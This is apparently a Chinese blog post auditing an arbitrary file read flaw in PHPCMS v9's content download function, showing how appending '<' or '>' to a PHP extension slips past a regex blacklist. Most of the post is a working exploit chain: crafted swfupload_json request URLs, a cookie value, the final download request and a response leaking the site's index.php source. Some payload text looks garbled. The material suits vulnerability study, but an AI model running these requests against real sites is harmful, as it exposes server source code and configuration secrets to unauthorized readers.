• 代码审计-phpcms9任意文件读取


    漏洞文件:

    /phpcms/modules/content/down.php download函数

    这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤。

    和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下:

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);

    过滤了一些黑名单,空格以及目录跳跃,之后把$s和$f作为下载文件路径:

    if($m) $fileurl = trim($s).trim($fileurl);

    再把拼接后的文件名过滤一次,程序继续运行,来到最关键的一步:

    $fileurl = str_replace(array('<','>'), '',$fileurl);
    
    file_down($fileurl, $filename);

    file_down函数是文件下载函数,调用readfile读取文件,在进入这个函数之前还用了一个str_replace 函数去除了大小括号,这就为我们绕过提供了思路,我们只需要构造 php< 或 php> 这样的后缀,就可以绕过正则, 之后被str_replace去掉了括号,就可以下载被过滤的文件后缀了。

    a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:

    ayload 如下:
    登录普通用户,访问链接:

    http://192.168.5.161/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

    获取分配的att_json

    再访问

    /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70CPost
    userid_flash=2c329hVguOLq0D2bnikDfuZXHNPFzbEB9pxi0Mm6

    根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload

    GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1Host: victim-serverAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Content-Length: 0
    
     
    
    HTTP/1.1 200 OKDate: Wed, 03 May 2017 07:50:12 GMTServer: Microsoft-IIS/6.0
    
    X-Powered-By: ASP.NET
    
    X-Powered-By: PHP/5.3.6Vary: Accept-EncodingPragma: publicLast-Modified: Wed, 03 May 2017 07:50:12 GMTCache-Control: pre-check=0, post-check=0, max-age=0Content-Transfer-Encoding: binaryContent-Encoding: noneContent-type: ph>pContent-Disposition: attachment; filename="20170503_035012279.ph>p"Content-length: 313
    
    <?php/**
    
     *  index.php PHPCMS 入口
    
     *
    
     * @copyright                   (C) 2005-2010 PHPCMS
    
     * @license                                 http://www.phpcms.cn/license/
    
     * @lastmodify                           2010-6-1
    
     */
    
     //PHPCMS根目录
    
     
    
    define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
    
     
    
    include PHPCMS_PATH.'/phpcms/base.php';
    
     
    
    pc_base::creat_app();
    
    ?>
  • 相关阅读:
    谈谈对Javascript构造函数和原型对象的理解
    JS 实现无缝滚动动画原理(初学者入)
    $($('.className').html( )选择器的工作原理
    jquery中attr和prop的区别
    用for循环筛选奇偶表格栏
    insertBefore 和 insetAfter函数详解
    getNextElement( )函数——获取下一个特定的元素节点
    IDEA + SSH OA 第一天(项目收获:Hibernate XML)
    IDEA + SSH OA 第一天(IDEA 文件夹类型了解)
    IDEA + SSH OA 第一天(Hibernate : Mapping (RESOURCE) not found)
  • 原文地址:https://www.cnblogs.com/-qing-/p/10853967.html
Copyright © 2020-2023  润新知